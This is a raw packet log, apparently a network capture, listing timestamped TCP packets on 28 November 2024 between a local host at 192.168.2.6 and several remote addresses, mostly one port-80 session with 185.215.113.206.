Nov 28, 2024 17:24:19.387759924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.387809038 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.388479948 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.388531923 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.388617039 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.389081001 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.389281988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.389334917 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.389378071 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.389445066 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.390045881 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.390096903 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.390347958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.390392065 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.391191959 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.391258955 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.391283035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.391325951 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.391855955 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.391901970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.391904116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.392064095 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.392621994 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.392671108 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.392728090 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.393184900 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.393491983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.393539906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.393608093 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.393695116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.394278049 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.394335032 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.394372940 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.394414902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.395107031 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.395176888 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.395211935 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.395241976 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.395876884 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.395931959 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.395963907 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.396009922 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.396778107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.396827936 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.396867990 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.396914959 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.397705078 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.397753954 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.397798061 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.397840977 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.398654938 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.398704052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.398786068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.398879051 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.399554968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.399646044 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.399712086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.400331974 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.400414944 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.400518894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.400541067 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.401122093 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.401202917 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.401261091 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.401904106 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.401957035 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.401993990 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.402168036 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.402934074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.402985096 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.403019905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.403058052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.403767109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.403832912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.403891087 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.404572010 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.404630899 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.404633999 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.404670954 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.405284882 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.405349970 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.405385971 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.405574083 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.406200886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.406316042 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.406383991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.406989098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.410747051 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.463524103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.463599920 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.463639021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.463864088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.463924885 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.464051962 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.464207888 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.464808941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.464876890 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.464931011 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.465647936 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.465703964 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.465884924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.466058016 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.466494083 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.466541052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.466567993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.466708899 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.467299938 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.467350960 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.467385054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.467506886 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.468324900 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.468379021 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.468477011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.468518972 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.468786001 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.468841076 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.468861103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.469014883 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.469511032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.469643116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.469697952 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.470355988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.470407963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.470510960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.470566034 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.471221924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.471280098 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.471309900 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.471518040 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.472035885 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.472085953 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.472259998 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.472309113 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.472961903 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.473038912 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.473062038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.473104000 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.473756075 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.473810911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.473845959 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.474031925 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.474745989 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.474865913 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.474914074 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.475667000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.475719929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.475809097 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.475855112 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.476852894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.477005959 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.477051973 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.477646112 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.477727890 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.477741003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.477833033 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.478576899 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.478708982 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.478717089 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.478771925 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.479521036 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.479578018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.479686022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.479800940 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.480288029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.480343103 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.480598927 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.480663061 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.480907917 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.480988026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.481089115 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.481154919 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.481559038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.481611013 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.481640100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.481827021 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.482211113 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.482259989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.482391119 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.482445955 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.499537945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.499596119 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.499681950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.499834061 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.500042915 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.500174046 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.500231028 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.500823021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.500874043 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.500891924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.501058102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.501523018 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.501573086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.549735069 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:19.549822092 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:19.586285114 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.586369038 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.586416006 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.586641073 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.586661100 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.586693048 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.586694002 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.586942911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.587482929 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.587538958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.587594032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.587852001 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.588309050 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.588473082 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.588572025 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.588617086 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.588656902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.589591026 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.589642048 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.589725018 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.589831114 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.590569973 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.590643883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.590646029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.590678930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.591242075 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.591296911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.591327906 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.591600895 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.592015982 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.592062950 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.592087030 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.592211008 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.592780113 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.592801094 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.592839003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.592859983 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.593647003 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.593704939 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.593817949 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.593985081 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.594508886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.594543934 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.594562054 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.594592094 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.595307112 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.595441103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.595505953 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.596144915 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.596204996 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.596224070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.596867085 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.596960068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.597083092 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.597162962 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.597801924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.597964048 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.598025084 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.598706961 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.598773003 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.598814011 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.599656105 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.599690914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.599740028 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.600404024 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.600455046 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.600577116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.601181984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.601258039 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.601306915 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.602052927 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.602106094 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.602123976 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.602524996 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.602884054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.602967978 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.603014946 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.603734970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.603792906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.603827000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.604110003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.604564905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.604626894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.604680061 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.605392933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.605446100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.605485916 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.606247902 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.606448889 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.606920958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.607088089 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.607132912 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.607183933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.607338905 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.607917070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.608083963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.611938953 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:19.611958981 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:19.612148046 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:19.612154961 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:19.612344980 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:19.612401009 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:19.632164001 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.632237911 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.635648012 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.635663033 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.635813951 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.635823965 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.635929108 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.635974884 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.666646004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.666745901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.666903019 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.666949987 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.666986942 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.666999102 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.667057037 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.667764902 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.667824984 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.667901993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.667936087 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.668530941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.668581963 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.668637991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.669424057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.669475079 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.669483900 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.669753075 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.670273066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.670326948 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.670346975 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.670428991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.671047926 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.671097994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.671169043 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.671206951 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.671771049 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.671818018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.671883106 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.672142982 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.672523022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.672570944 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.672588110 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.673252106 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.673322916 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.673408031 CET	80	49716	185.215.113.206	192.168.2.6
